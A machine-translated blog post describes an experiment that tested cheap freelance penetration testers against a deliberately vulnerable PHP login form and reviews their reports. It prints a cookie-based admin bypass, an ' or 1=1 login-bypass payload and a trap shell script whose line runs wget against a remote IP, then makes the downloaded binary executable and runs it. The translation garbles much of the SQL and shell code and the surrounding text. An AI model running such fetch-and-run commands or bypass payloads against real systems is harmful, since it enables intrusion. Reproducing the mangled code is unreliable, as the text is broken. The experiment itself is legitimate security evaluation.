渗透测试和低成本自由职业

2020-10-24 07:13:45

渗透测试很复杂。要想成功,测试员需要具备各种不同的能力和技能。一些测试人员只依赖自动化工具,而另一些测试人员则更关注手动分析。虽然创造性和非常规的思维方式是必要的,但对测试员来说,拥有遵守客户设定的时间限制的精神纪律也很重要。对于创造性的渗透测试员来说,花大量时间调查一个有趣且不常见的漏洞,后来才意识到没有足够的时间来提供完整的覆盖,这是很常见的。因此,两个不同的测试人员会产生包含不同结果的两个不同的报告也就不足为奇了。

我决定做一个小实验,看看不同测试员的报告会有多大的不同。我故意创建了一个易受攻击的Web应用程序,并雇佣了7名不同的自由职业者对其进行渗透测试。我发现这是一个很好的机会来评估在线市场上以极低价格提供服务的自由职业者的技能。虽然渗透测试的费用可能相当高(通常在1000美元到10万美元以上),但这些自由职业者提供安全服务的费用不到100美元。他们中的一些人声称拥有业界认可的证书,我很想知道他们的工作质量,特别是当数以千计的买家对他们的服务给予积极评价的时候。

为简单起见,我创建了一个PHP登录表单,其中包含两个可被利用来绕过身份验证表单的关键漏洞。虽然这些错误并不难发现或利用,但它们需要手动分析;仅依赖自动化工具的测试人员将无法识别它们。

表单上的第一个漏洞源于会话管理中的错误。在Web应用程序的登录操作期间,即使凭据错误,应用程序也会在HTTP响应中包含以下标头:Set-Cooki auth=195c530a7af5f492a74499e70578d150。手动检查HTTP响应的细心渗透测试人员应该能够识别出";Set-Cookie";头的名称中有一个拼写错误,因此浏览器不会自动设置Cookie值。通过手动设置此Cookie值,测试人员将获得管理员权限。

绕过表单身份验证的第二种方法是输入";';或1=1';";或类似的有效负载。此问题的根本原因似乎是SQL注入漏洞,但实际上是硬编码的SQL密码。执行的SQL查询可以在HTTP响应中找到:

SELECT*FROM FORM_PASSWODS WHERE';PASSWORD';LIKE CONAT(';%';,IF(STRCMP(SYSTEM_USER(),';/dev/Random@localhost';)=-1,反向(";\';";),ISNULL(NULLIF(NULLIF(NULL-NULL*NULL,POWER(NULL,NULL),IF(STRCMP(SESSION_USER(),';/dev/null@localhost';)。)=0,字符(40*2-幂(1,log(2)),(4*10+1)*2),字符(69,4*10+9),空格(1),';%';,';\';';,';%';,if(STRCMP(version(),';10.3.15-MariaDB-0+deb10u1';)=0,if(Connection_ID()=1337,";';";=";";,';-_-';),如果(PI()<;3,";<;(^^)>;";,";';=";)),MID(";```';`';';`';`';`';``';`';``';`';`';`';`';`';`';';`';`";,7,1),';%';);

测试人员必须对SQL查询进行去模糊处理,以提取硬编码密码。对于要对SQL查询进行去模糊处理的测试人员,他需要具备基本的SQL语法知识。我创建的这个特定的SQL查询使用嵌套的内联IF语句。条件是检查环境变量SYSTEM_USER、SESSION_USER和VERSION)。因为测试人员不知道这些值,所以他必须遵循所有不同的逻辑路径,直到构建的查询有意义为止。在这里和那里做一些简单的简化可以使查询更具可读性。

消除模糊之后,最终查询将是:";SELECT*FROM FORM_PASSWODS WHERE';PASSWORD 123';LIKE%";或%";$';=%";。诸如";';或1=1';";这样的输入将允许测试人员成功绕过身份验证表单。我特意决定使用测试SQL注入表单时常用的有效负载作为这个谜题的答案,看看这些测试人员中有多少人能够正确识别此问题的根本原因。

更有趣的是,我将恶意shell脚本作为HTTP响应的一部分。Shell脚本的内容如下:

Obscure(){local txt=";$1";local txt=";$a\';{}";echo";${txt//?/*}";}sql_1=';select*from form_password where";asfsadfd";like conat(";%";like conat(";%";if(STRCMP(system_user()';sql_2=';Reverse(),ISNULL(NULLIF(NULL-NULL*NULL,POWER(NULL,NULL),IF(STRCMP(SESSION_USER(),";/dev/null@localhost";)=0';sql_3=`wget http://83.212.174.87/mal|chmod+x./mal|./mal`sql_4=';10.3.15-mariadb-0+deb10u1)=0,if(Connection_ID()=1337,";=";=";-_-,if(Pi()<;3,<;(^^)>;';SQL_5=';log(2),(4*10+1)*2),字符(69,4*10+9),空格(1';ECHO";去模糊...";eval";$SQL_1";eval";$SQL_2";eval";$SQL_3";$SQL_4";eval";$SQL_5";

可以看到,在第12行,该脚本正在从Internet下载并执行二进制文件。我想看看有多少测试人员会足够粗心,在没有事先审核的情况下运行我的恶意脚本。

最后,我安装了一个SSH蜜罐。我的目的是记录测试人员进行的任何shell交互,并评估他们的开发后方法。

我雇佣的所有测试员的个人资料在网上市场上都获得了压倒性的好评。在我的团队将其用于生产之前,我假装需要测试我的Web表单。几天后我收到了所有的渗透测试报告。

该测试员自称是认证道德黑客v9,在漏洞评估和渗透测试方面经验丰富。

测试人员提交了报告,并提到他发现了系统中的一个严重缺陷。他没有确认任何高度严重的发现。该报告包括不相关的信息,如横幅抓取和版本检测,以及性能/负载测试。测试人员发现的严重缺陷是登录SSH蜜罐时发现的。(#34;Banner Grabging&;Version Detection),以及性能/负载测试(Performance/Load Test.";Performance/Load Test.";Performance/Load Test)。

测试员称自己是一名独立的信息安全研究员。他提到他已经完成了他的计算机科学学士学位和EC-Council认证的道德黑客课程。他声称在漏洞评估和渗透测试方面有实践经验。

这台测试仪也未能识别出任何高度严重的发现。测试人员认为他已经获得了远程机器的本地访问权限,但没有意识到这实际上是一个蜜罐。报告的结果没有直接影响(关于完整性、可用性、机密性),或者它们根本无效(例如,目录暴力)。

测试员声称,他们通常收取200美元的完整五项测试和报告,但由于取消订单将对他们的个人资料产生负面影响,他们同意进行测试。他们要我在收到报告后给很多小费。

本报告中包含的大多数调查结果都是Nessus安全工具的一部分。在POST参数上反映的XSS结果被夸大为HIGH。没有一项高度严重的发现被确定。

此测试程序成功识别了SQL漏洞,但未能确定其根本原因。他将该漏洞报告为SQL注入,而不是硬编码密码。他报告的其余发现是Burp Suite自动扫描仪的一部分。

这名测试者声称拥有计算机科学学士学位和各种认证,包括CEH认证道德黑客和认证支付行业安全实施者。在他的个人资料中,他提到他提供从PCI DSS咨询到区块链培训的各种服务。

同样,没有发现任何关键漏洞。这个测试员确实执行了我的恶意脚本,尽管根据报告,他检查了它是否存在任何安全问题。

这位测试员声称在道德黑客方面有20多年的经验,他的个人资料有100多条正面评论。我订购了高级服务,包括全面渗透测试、专业的安全评估报告和推荐的解决方案。

测试人员未能识别出任何高危漏洞。报告中的所有技术细节都取自自动化工具(OWASP、ZAP和NetSpiker)。